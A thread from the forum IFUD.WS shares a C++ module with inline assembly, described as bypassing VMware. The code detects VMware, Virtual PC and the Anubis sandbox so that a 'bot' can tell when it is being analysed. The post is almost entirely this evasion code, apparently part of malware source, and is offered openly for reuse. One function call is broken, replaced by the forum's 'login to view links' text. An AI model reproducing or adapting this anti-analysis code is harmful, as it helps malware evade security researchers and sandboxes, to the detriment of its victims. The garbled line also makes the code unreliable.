1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Anti-VMWare [C++]

Тема в разделе "Исходные коды", создана пользователем ponchic, 20 мар 2014.

  1. TopicStarter Overlay
    ponchic

    ponchic юзверь

    Регистрация:
    15 дек 2013
    Сообщения:
    407
    Симпатии:
    276
    Please login or register to view links

    Модуль для обхода VMWare на С++
    PHP:
    1. #include "../Headers/includes.h"
    2. #include "../Headers/functions.h"
    3. #ifndef NO_ANTIVM
    4. DWORD __forceinline IsInsideVPC_exceptionFilter(LPEXCEPTION_POINTERS ep)
    5. {
    6. PCONTEXT ctx = ep->ContextRecord;
    7. ctx->Ebx = -1; // Not running VPC
    8. ctx->Eip += 4; // skip past the "call VPC" opcodes
    9. return EXCEPTION_CONTINUE_EXECUTION;
    10. }
    11. bool DetectVPC()
    12. {
    13. bool bVPCIsPresent = FALSE;
    14. __try
    15. {
    16. _asm push ebx
    17. _asm mov ebx, 0 // It will stay ZERO if VPC is running
    18. _asm mov eax, 1 // VPC function number
    19. _asm __emit 0Fh
    20. _asm __emit 3Fh
    21. _asm __emit 07h
    22. _asm __emit 0Bh
    23. _asm test ebx, ebx
    24. _asm setz [bVPCIsPresent]
    25. _asm pop ebx
    26. }
    27. __except(IsInsideVPC_exceptionFilter(GetExceptionInformation()))
    28. {
    29. }
    30. #ifdef DEBUG
    31. if (bVPCIsPresent==TRUE)
    32. DebugMsg("Bot is under VPC !");
    33. else
    34. DebugMsg("Bot is not running under VPC !");
    35. #endif
    36. return bVPCIsPresent;
    37. }
    38. bool DetectVMWare()
    39. {
    40. bool bVMWareIsPresent = TRUE;
    41. __try
    42. {
    43. __asm
    44. {
    45. push edx
    46. push ecx
    47. push ebx
    48. mov eax, 'VMXh'
    49. mov ebx, 0 // any value but not the MAGIC VALUE
    50. mov ecx, 10 // get VMWare version
    51. mov edx, 'VX' // port number
    52. in eax, dx // read port
    53. // on return EAX returns the VERSION
    54. cmp ebx, 'VMXh' // is it a reply from VMWare?
    55. setz [bVMWareIsPresent] // set return value
    56. pop ebx
    57. pop ecx
    58. pop edx
    59. }
    60. }
    61. __except(EXCEPTION_EXECUTE_HANDLER)
    62. {
    63. bVMWareIsPresent = FALSE;
    64. }
    65. #ifdef DEBUG
    66. if (bVMWareIsPresent==TRUE)
    67. DebugMsg("Bot is under VMWare !");
    68. else
    69. DebugMsg("Bot is not running under VMWare !");
    70. #endif
    71. return bVMWareIsPresent;
    72. }
    73. bool DetectAnubis()
    74. {
    75. char szBotFile[MAX_PATH];
    76. bool bAnubisIsPresent = FALSE;
    77. if (Please login or register to view links(szBotFile, "C:\\InsideTm\\"))
    78. bAnubisIsPresent = TRUE;
    79. #ifdef DEBUG
    80. if (bAnubisIsPresent==TRUE)
    81. DebugMsg("Bot is running under Anubis !");
    82. else
    83. DebugMsg("Bot is not running under Anubis !");
    84. #endif
    85. return bAnubisIsPresent;
    86. }
    87. bool IsProcessRunningUnderVM()
    88. {
    89. bool bVMWare;
    90. bool bVPC;
    91. bool bAnubis;
    92. bVMWare = DetectVMWare();
    93. bVPC = DetectVPC();
    94. bAnubis = DetectAnubis();
    95. if (bVPC==TRUE || bVMWare==TRUE || bAnubis==TRUE)
    96. return TRUE;
    97. return FALSE;
    98. }
    99. #endif
     
    • Like Like x 2
    Метки:

Поделиться этой страницей

Загрузка...